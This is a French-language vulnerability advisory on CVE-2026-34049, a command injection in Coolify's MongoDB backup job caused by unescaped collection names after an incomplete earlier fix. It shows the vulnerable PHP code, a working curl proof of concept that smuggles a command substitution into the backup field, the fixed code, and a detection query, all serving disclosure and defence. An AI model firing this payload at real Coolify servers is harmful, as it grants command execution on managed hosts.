CVE-2026-34049
CVSS 3.3 · Faible CorrigéCVE-2026-34049 : injection de commandes dans les sauvegardes Coolify, correctif incomplet de CVE-2025-66209
Le correctif de CVE-2025-66209 échappait les noms de bases dans les sauvegardes Coolify, pas les noms de collections MongoDB, qui atteignaient un shell root.
Pour décider
- Impact
- Un nom de collection MongoDB peut devenir une commande exécutée sur le serveur géré par Coolify.
- Conditions
- L’attaquant doit pouvoir configurer une sauvegarde. Le premier correctif protégeait les noms de bases, sans couvrir les collections.
- Action recommandée
- Installer Coolify 4.0.0-beta.471 ou ultérieur et revoir les droits de configuration des sauvegardes.
Fiche de l’avis
Synthèse de l’enquête
Le correctif de Coolify pour CVE-2025-66209 validait et échappait les noms de bases d’une configuration de sauvegarde, mais les noms de collections MongoDB écrits dans le même champ arrivaient toujours tels quels dans la commande mongodump. Un membre d’équipe autorisé à configurer des sauvegardes, ce que la politique par défaut accorde à tous, pouvait exécuter des commandes en root sur le serveur géré. L’éditeur note la faille 3,3 ; l’impact technique est proche de la faille d’origine notée 9,9. Corrigé en 4.0.0-beta.471.
Le nom de collection oublié par le correctif
Nous sommes repartis du correctif de CVE-2025-66209, qui validait le nom de base dans la configuration des sauvegardes Coolify. Le champ MongoDB contient aussi des noms de collections. Nous avons vérifié chaque morceau après le découpage : le nom de base était protégé, les collections passaient encore dans une commande shell. L’API n’exigeait qu’une chaîne et ne bloquait donc pas ce chemin. Livewire découpait le champ autrement que le job MongoDB, mais sa validation sur la chaîne entière pouvait refuser ce payload ; sans rejeu de l’interface, nous ne revendiquons pas une voie UI fonctionnelle.
Notre rapport soumis nomme la beta.469 et décrit un PoC déclenchant immédiatement une sauvegarde avec une substitution de commande dans le nom de collection. Il ne conserve ni sortie de la commande côté serveur ni lecture du marqueur. Le code montre que cette valeur atteint le shell sur le serveur géré ; les privilèges dépendent du compte SSH utilisé par Coolify. Nous ne revendiquons donc pas une exécution root observée sur la seule base de ce rapport. Nous avons signalé le cas le 23 mars 2026. Coolify a ajouté validation et échappement des collections le 25, publié la beta.471 le 9 avril, puis l’avis CVE-2026-34049 en juillet. C’est l’histoire d’un correctif incomplet sur un champ structuré, pas une nouvelle entrée indépendante.
Un champ de sauvegarde structuré, un correctif partiel
Coolify exécute les sauvegardes de bases sur les serveurs qu’il gère en SSH. Pour MongoDB, databases_to_backup porte les noms de base et de collection : valider seulement le premier élément laisse un autre chemin vers la tâche de sauvegarde.
Les sauvegardes de bases de données font partie de ses fonctions. Pour chaque base, l’utilisateur définit une planification et un champ databases_to_backup qui précise ce qu’il faut exporter. Pour PostgreSQL ou MySQL, le champ est une liste de bases séparées par des virgules. Pour MongoDB, il accepte un format plus riche, dbname:collection1,collection2|dbname2:collection3, où les noms placés après les deux-points sont des collections à exclure de l’export. À chaque exécution, DatabaseBackupJob construit à partir de ce champ une commande docker exec ... mongodump ... et la lance sur le serveur géré.
Ce même champ avait déjà fait l’objet de CVE-2025-66209, une injection de commandes authentifiée que Coolify avait notée 9,9 et corrigée en 4.0.0-beta.451 en validant et en échappant les noms de bases.
Vérifier chaque composant après le premier correctif
Dans DatabaseBackupJob.php, le correctif de beta.451 valide et échappe le nom de base MongoDB. Les noms de collections lus dans le même champ entrent encore dans la commande mongodump sans échappement. Nous avons vérifié les deux voies d’entrée : create_backup et update_backup dans DatabasesController.php acceptent databases_to_backup comme chaîne. L’éditeur Livewire découpe cette chaîne autrement que la tâche et peut rejeter cette charge ; notre rapport étaye donc la voie API, tandis que la voie UI demanderait son propre rejeu.
Le rapport soumis désigne la 4.0.0-beta.469 (commit 06f60c9) comme version testée ; il ne joint pas de résultat capturé côté serveur.
Cause racine
La branche MongoDB du job de sauvegarde, après le correctif de CVE-2025-66209 :
// app/Jobs/DatabaseBackupJob.php (4.0.0-beta.469)
if (str($databaseWithCollections)->contains(':')) {
$databaseName = str($databaseWithCollections)->before(':');
$collectionsToExclude = str($databaseWithCollections)->after(':')->explode(',');
} else {
$databaseName = $databaseWithCollections;
$collectionsToExclude = collect();
}
$commands[] = 'mkdir -p '.$this->backup_dir;
// Validate and escape database name to prevent command injection
validateShellSafePath($databaseName, 'database name');
$escapedDatabaseName = escapeshellarg($databaseName);
if ($collectionsToExclude->count() === 0) {
// ... safe path ...
} else {
if (str($this->database->image)->startsWith('mongo:4')) {
$commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection "
.$collectionsToExclude->implode(' --excludeCollection ')
." --archive > $this->backup_location";
} else {
$commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection "
.$collectionsToExclude->implode(' --excludeCollection ')
." --archive > $this->backup_location";
}
}
Le contraste tient en quelques lignes : $databaseName passe par validateShellSafePath() et escapeshellarg(), $collectionsToExclude est concaténé tel quel dans la commande, sur les deux branches. Les commandes sont ensuite transmises à instant_remote_process(), qui les envoie en SSH au serveur géré, où bash les interprète. Le défaut est une injection de commandes système (CWE-78), et plus précisément un correctif incomplet : le patch a fermé le chemin démontré par le premier signalement et laissé ouvert son voisin dans le même champ.
Exploitation
L’attaquant a besoin d’un jeton d’API doté de la capacité write et d’une base MongoDB dans son équipe. Une seule requête, adaptée de la preuve de concept de l’avis, crée une configuration de sauvegarde dont la liste de collections porte une substitution de commande, et backup_now déclenche le job immédiatement :
curl -s -X POST "$COOLIFY_URL/api/v1/databases/$DB_UUID/backups" \
-H "Authorization: Bearer $API_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"frequency": "every_minute",
"enabled": true,
"databases_to_backup": "admin:$(id > /tmp/coolify-rce-proof)",
"backup_now": true
}'
Le job lit admin comme nom de base, qui passe la validation, et $(id > /tmp/coolify-rce-proof) comme collection à exclure. Le serveur géré reçoit :
docker exec <container> mongodump ... --excludeCollection $(id > /tmp/coolify-rce-proof) --archive > ...
Bash effectue la substitution de commande avant de lancer docker exec : le payload s’exécute donc sur l’hôte, avec l’utilisateur SSH de Coolify, potentiellement root si l’installation gère cet hôte avec un compte SSH root. Avec une fréquence every_minute, il s’exécute de nouveau à chaque sauvegarde planifiée.
Impact
L’avis note la faille 3,3 (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N). La tâche de sauvegarde envoie la commande construite en SSH vers un serveur géré, sur lequel Coolify opère couramment en root. Si la commande injectée y est exécutée, elle dispose des accès de ce compte à l’hôte et à son environnement Docker. Notre rapport conservé ne contient pas de marqueur côté serveur : c’est l’impact du chemin suivi dans le code, pas une session root observée localement.
Sur les privilèges, le code justifie un seuil plus bas que PR:H. Dans la 4.0.0-beta.470, DatabasePolicy::manageBackups() renvoie true pour tout utilisateur, la vérification d’administrateur étant en commentaire, et les routes d’API exigent seulement un jeton doté de la capacité write. Tout membre d’équipe capable de créer un tel jeton atteint le point d’exécution.
L’avis ne motive pas ce vecteur. Une revue de code ne suffit pas à calculer une note de remplacement. Pour l’exploitant, la question concrète est de savoir si un membre autorisé à modifier les sauvegardes est également censé pouvoir exécuter des commandes sous le compte serveur de Coolify.
Correctif
Coolify 4.0.0-beta.471, publié le 09/04/2026, contient le commit 9904360 (#9168, fusionné le 25/03/2026). Il corrige ensemble le point d’exécution et les couches d’entrée. Dans le job, chaque nom de collection est désormais validé et échappé individuellement :
// app/Jobs/DatabaseBackupJob.php (4.0.0-beta.471)
$escapedCollections = $collectionsToExclude->map(function ($collection) {
$collection = trim($collection);
validateShellSafePath($collection, 'collection name');
return escapeshellarg($collection);
});
Un nouvel utilitaire, validateDatabasesBackupInput(), analyse tous les formats du champ (découpage sur |, puis :, puis ,) et valide chaque nom de base et de collection. Il est appelé depuis les deux endpoints d’API, qui répondent désormais par une erreur 422, et remplace la boucle limitée aux virgules dans BackupEdit.php.
validateShellSafePath() est une liste de refus (backticks, $(, ${, |, &, ;, retours à la ligne, tabulations, <, >) : la protection effective est donc escapeshellarg() au point d’exécution, qui met la valeur entre apostrophes quel que soit son contenu. La version inclut aussi le commit 952f324, qui applique escapeshellarg() aux identifiants insérés dans les commandes de sauvegarde de PostgreSQL, MySQL, MariaDB et MongoDB. Ensemble, ils ferment les variantes de ce champ et de ses voisins, ce qui correspond à la revue qui avait manqué au premier correctif.
Détection et mitigation
-
Mettre à jour Coolify vers la 4.0.0-beta.471 ou une version ultérieure.
-
Rechercher dans la base PostgreSQL de Coolify les configurations de sauvegarde dont le champ contient de la syntaxe shell, et examiner les correspondances comme des pistes, pas comme une preuve d’exploitation :
SELECT id, databases_to_backup FROM scheduled_database_backups WHERE databases_to_backup ~ '[$;|&<>()]' OR strpos(databases_to_backup, chr(96)) > 0; -
Passer en revue les jetons d’API dotés de la capacité
writeet les membres qui les détiennent, et révoquer ceux qui ne sont pas nécessaires. -
Sur les serveurs gérés, rechercher dans l’historique shell, auditd ou la télémétrie EDR les processus lancés par la session SSH de l’utilisateur Coolify autour des sauvegardes qui ne sont ni
docker execnimongodump. -
Examiner dans Coolify les journaux d’exécution des sauvegardes MongoDB qui se terminent par une sortie ou des erreurs inattendues après une modification de configuration.
Chronologie
| Date | Événement |
|---|---|
| 27/11/2025 | Publication de Coolify 4.0.0-beta.451 avec le correctif de CVE-2025-66209 |
| 03/01/2026 | Publication de l’avis GHSA-vm5p-43qh-7pmq (CVE-2025-66209) |
| 23/03/2026 | Signalement privé du contournement, désignant la 4.0.0-beta.469 comme version testée ; aucune sortie de commande conservée |
| 24/03/2026 | Publication de Coolify 4.0.0-beta.470, toujours vulnérable |
| 25/03/2026 | Validation et échappement des noms de collections intégrés au code (9904360, #9168) |
| 09/04/2026 | Publication de Coolify 4.0.0-beta.471 |
| 02/07/2026 | Publication de l’avis GHSA-4mpw-wcj4-v9pp avec CVE-2026-34049 |
Références
- Avis de l’éditeur · CVE-2026-34049 github.com/coollabsio/coolify/security/advisories/GHSA-4mpw-wcj4-v9pp
- Fiche NVD · CVE-2026-34049 nvd.nist.gov/vuln/detail/CVE-2026-34049
- Fiche CVE.org · CVE-2026-34049 www.cve.org/CVERecord?id=CVE-2026-34049
- MITRE CWE-78 cwe.mitre.org/data/definitions/78.html
- Dépôt du projet github.com/coollabsio/coolify
Citer cet avis
rootzero. « CVE-2026-34049 : injection de commandes dans les sauvegardes Coolify, correctif incomplet de CVE-2025-66209 ». Recherche de vulnérabilités, rootzero, 2 juillet 2026. https://rootzero.eu/research/cve/cve-2026-34049-coolify-backup-command-injection/
#Recherche de vulnérabilités
Faites auditer votre code avant qu’un autre ne le fasse.
Votre équipe doit décider quoi corriger avant une livraison ou évaluer une dépendance critique. Nous définissons une mission autour de cette décision, avec des preuves et des priorités de correction expliquées.